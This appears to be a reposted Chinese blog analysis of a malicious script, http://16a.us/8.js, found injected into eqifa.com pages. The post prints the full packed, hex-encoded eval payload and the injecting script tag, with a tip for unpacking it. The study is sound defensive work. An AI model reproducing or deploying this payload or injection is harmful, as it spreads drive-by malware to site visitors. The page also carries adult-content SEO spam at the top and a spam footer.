国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > JavaScript > 正文

由億起發(eqifa.com)的頁面發現頂部的http://16a.us/8.js想到的js解密 原創第1/3頁

2019-11-21 02:04:45
字體:
來源:轉載
供稿:網友
今天訪問eqifa的官方網站,發現好多頁面都帶有
<script src=http://16a.us/8.js></script>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
找了資料,有可能是arp欺騙導致的或真的頁面都被加了代碼,這個代碼是病毒,我來分析下,到了最后的時候發現js是16進制的,這次是實戰,每一部都會很清晰,學不會教學費 呵呵
第一部,得到代碼 (因為是知道js文件可以直接用ie打開訪問)
代碼如下
復制代碼 代碼如下:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'//w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p}('15("http://A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//O//c//o//9//q//B//7//N//D//q//a//A//n//D//j//n//a//4//9//9//n//9//w//12//s//a//o//7//q//n//a//h//g//Q//9//4//7//s//9//a//6//7//9//s//4//i//P//O//0//X//c//o//9//q//B//7//N//b//g//i//U//T//A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//O//c//o//9//q//B//7//N//b//g//i//U//T//A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//12//s//a//o//7//q//n//a//6//W//a//l//c//h//a//g//6//Q//6//F//k//9//6//a//s//r//H//4//9//l//c//6//w//6//l//k//7//I//j//9//k//a//A//n//r//h//g//14//a//i//6//9//4//7//s//9//a//6//0//C//0//0//1//8//y//0//0//1//d//5//0//0//1//2//d//0//0//1//2//m//0//0//1//8//u//0//C//J//l//k//7//I//j//9//n//s//a//A//h//a//s//r//H//4//9//l//c//g//J//0//C//0//0//1//f//y//0//0//1//8//5//0//0//1//2//m//0//0//1//8//u//0//C//i//6//P//6//7//9//V//6//Q//6//m//n//D//a//11//9//v//w//0//C//0//0//1//2//G//0//0//1//8//5//0//0//1//8//5//0//0//1//8//u//0//0//1//3//M//0//0//1//f//e//0//0//1//f//e//0//0//1//3//p//0//0//1//3//2//0//0//1//2//p//0//0//1//f//y//0//0//1//8//d//0//0//1//8//3//0//0//1//f//e//0//0//1//2//e//0//0//1//5//K//0//0//1//5//K//0//0//1//f//e//0//0//1//8//3//0//0//1//2//m//0//0//1//8//3//0//0//1//8//3//0//0//1//f//y//0//0//1//2//d//0//0//1//8//G//0//0//1//2//d//0//C//i//6//F//k//9//6//l//c//m//e//w//A//n//o//s//r//4//a//7//j//o//9//4//k//7//4//y//v//4//r//4//a//7//h//0//b//0//0//1//2//e//0//0//1//2//f//0//0//1//2//M//0//0//1//2//d//0//0//1//2//3//0//0//1//8//5//0//b//g//i//6//l//c//m//e//j//c//4//7//M//7//7//9//q//H//s//7//4//h//0//b//0//0//1//2//3//0//0//1//2//z//0//0//1//2//p//0//0//1//8//3//0//0//1//8//3//0//0//1//2//t//0//0//1//2//5//0//b//x//0//b//0//0//1//2//3//0//0//1//2//z//0//0//1//8//3//0//0//1//2//t//0//0//1//2//5//0//0//1//3//M//0//0//1//5//f//0//0//1//5//5//0//0//1//3//t//0//0//1//3//2//0//0//1//5//3//0//0//1//3//d//0//0//1//3//d//0//0//1//3//2//0//0//1//f//m//0//0//1//3//2//0//0//1//3//d//0//0//1//5//p//0//0//1//3//3//0//0//1//f//m//0//0//1//3//p//0//0//1//3//p//0//0//1//5//5//0//0//1//3//u//0//0//1//f//m//0//0//1//3//t//0//0//1//3//G//0//0//1//3//3//0//0//1//5//p//0//0//1//f//m//0//0//1//3//u//0//0//1//3//u//0//0//1//5//3//0//0//1//3//u//0//0//1//3//5//0//0//1//5//2//0//0//1//5//3//0//0//1//3//f//0//0//1//3//t//0//0//1//5//d//0//0//1//3//3//0//0//1//3//2//0//b//g//i//6//F//k//9//6//1//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//5//m//0//0//1//2//t//0//0//1//2//3//0//0//1//8//f//0//0//1//2//e//0//0//1//8//3//0//0//1//2//e//0//0//1//2//2//0//0//1//8//5//0//0//1//f//y//0//0//1//d//G//0//b//J//0//b//0//0//1//5//m//0//0//1//5//z//0//0//1//5//G//0//0//1//d//5//0//0//1//d//5//0//0//1//d//u//0//b//x//0//b//0//b//g//i//6//F//k//9//6//E//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//5//p//0//0//1//2//5//0//0//1//2//e//0//0//1//2//5//0//0//1//2//f//0//0//1//f//y//0//0//1//d//3//0//0//1//8//5//0//0//1//8//f//0//0//1//2//d//0//0//1//2//p//0//0//1//2//m//0//b//x//0//b//0//b//g//i//6//E//j//7//V//B//4//w//p//i//6//1//j//n//B//4//a//h//0//b//0//0//1//5//8//0//0//1//5//d//0//0//1//d//5//0//b//x//6//m//n//D//a//11//9//v//x//u//g//i//6//1//j//c//4//a//A//h//g//i//6//l//c//e//a//k//r//4//p//w//W//a//l//c//h//t//t//t//t//g//i//6//F//k//9//6//e//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//d//3//0//0//1//2//3//0//0//1//8//f//0//0//1//2//t//0//0//1//8//u//0//0//1//8//5//0//0//1//2//t//0//0//1//2//y//0//0//1//2//8//0//0//1//f//y//0//0//1//5//2//0//0//1//2//t//0//0//1//2//z//0//0//1//2//d//0//0//1//d//3//0//0//1//8//t//0//0//1//8//3//0//0//1//8//5//0//0//1//2//d//0//0//1//2//m//0//0//1//5//e//0//0//1//2//f//0//0//1//2//M//0//0//1//2//d//0//0//1//2//3//0//0//1//8//5//0//b//x//0//b//0//b//g//i//6//F//k//9//6//l//c//R//r//B//w//e//j//W//4//7//E//B//4//o//q//k//v//e//n//v//A//4//9//h//u//g//i//6//l//c//e//a//k//r//4//p//w//6//e//j//K//s//q//v//A//10//k//7//I//h//l//c//R//r//B//x//l//c//e//a//k//r//4//p//g//i//6//E//j//L//B//4//a//h//g//i//E//j//13//9//q//7//4//h//1//j//9//4//c//B//n//a//c//4//K//n//A//V//g//i//6//E//j//E//k//F//4//R//n//e//q//v//4//h//l//c//e//a//k//r//4//p//x//f//g//i//6//E//j//z//v//n//c//4//h//g//i//6//F//k//9//6//l//c//Z//w//l//c//m//e//j//z//9//4//k//7//4//L//H//S//4//o//7//h//0//b//0//0//1//d//3//0//0//1//2//G//0//0//1//2//d//0//0//1//2//z//0//0//1//2//z//0//0//1//f//y//0//0//1//5//p//0//0//1//8//u//0//0//1//8//u//0//0//1//2//z//0//0//1//2//t//0//0//1//2//3//0//0//1//2//p//0//0//1//8//5//0//0//1//2//t//0//0//1//2//e//0//0//1//2//y//0//b//x//0//b//0//b//g//i//6//m//n//D//a//p//w//e//j//K//s//q//v//A//10//k//7//I//h//l//c//R//r//B//J//0//C//0//0//1//d//z//0//0//1//d//z//0//0//1//8//3//0//0//1//8//t//0//0//1//8//3//0//0//1//8//5//0//0//1//2//d//0//0//1//2//m//0//0//1//3//3//0//0//1//3//f//0//C//x//0//C//0//0//1//2//3//0//0//1//2//m//0//0//1//2//5//0//0//1//f//y//0//0//1//2//d//0//0//1//8//G//0//0//1//2//d//0//C//g//i//6//l//c//Z//j//E//I//4//v//v//y//1//4//o//s//7//4//h//m//n//D//a//p//x//0//C//0//0//1//f//u//0//0//1//f//e//0//0//1//2//3//6//0//C//J//l//c//e//a//k//r//4//p//x//0//b//0//b//x//0//b//0//0//1//2//e//0//0//1//8//u//0//0//1//2//d//0//0//1//2//y//0//b//x//u//g//i//6//P//6//o//k//7//o//I//h//l//c//Y//g//6//Q//6//l//c//Y//w//p//i//6//P//b//g//i//U//T//A//n//o//s//r//4//a//7//j//D//9//q//7//4//v//a//h//b//O//0//X//c//o//9//q//B//7//N//b//g")',62,68,'x5C|x78|x36|x33|x65|x34|x20|x74|x37|x72|x6E|x22|x73|x35|x46|x32|x29|x28|x3B|x2E|x61|x4D|x44|x6F|x63|x31|x69|x6D|x75|x39|x30|x6C|x3D|x2C|x45|x43|x64|x70|x27|x77|x53|x76|x38|x62|x68|x2B|x42|x4F|x41|x3E|x3C|x7D|x7B|x54|x6A|x0A|x0D|x79|x47|x2F|x49|x51|x50|x55|x66|x57|x2A|eval'.split('|'),0,{})) 

這是壓縮,說是加密有問題,以后我說是加密也是可以理解的
解密方法如下,我是從blueidea的return 方法動手腳
return p改成thes.value=p

[Ctrl+A 全選 注:如需引入外部Js需刷新才能執行]

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 冷水江市| 思南县| 定陶县| 稷山县| 武山县| 德格县| 开化县| 德江县| 大厂| 新蔡县| 浪卡子县| 大宁县| 金堂县| 左权县| 读书| 潼关县| 滦南县| 公主岭市| 杨浦区| 基隆市| 岳阳县| 南宫市| 周宁县| 静乐县| 深州市| 兴山县| 工布江达县| 堆龙德庆县| 齐齐哈尔市| 噶尔县| 娄烦县| 崇明县| 清河县| 广东省| 海伦市| 酉阳| 山东省| 修文县| 东光县| 抚顺市| 蒙城县|